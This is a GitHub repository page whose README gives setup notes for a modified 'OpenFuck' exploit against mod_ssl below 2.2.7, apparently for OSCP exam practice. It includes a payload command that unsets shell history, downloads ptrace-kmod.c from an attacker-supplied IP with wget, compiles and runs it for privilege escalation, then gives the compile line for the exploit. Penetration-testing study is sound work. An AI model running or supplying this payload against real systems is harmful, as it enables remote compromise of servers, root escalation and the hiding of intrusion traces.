Skip to content

5bhuv4n35h/openluck

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 
 
 

Repository files navigation

openfuck_oscp

mod_ssl < 2.2.7

modified the code on line 671

host ptrace-kmod.c in apache server and replace the url with apache

added the lines export PATH=$PATH:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin to overcome ld error

enter url of the file in the command2

change the url only to execute the code

#define COMMAND2 "unset HISTFILE; cd /tmp;export PATH=$PATH:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin; wget http://enter ur ip here/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c; rm ptrace-kmod.c; ./exploit; \n"

isntall libssl-dev

finally its compile time -> gcc OpenFuck.c -o OpenFuck -lcrypto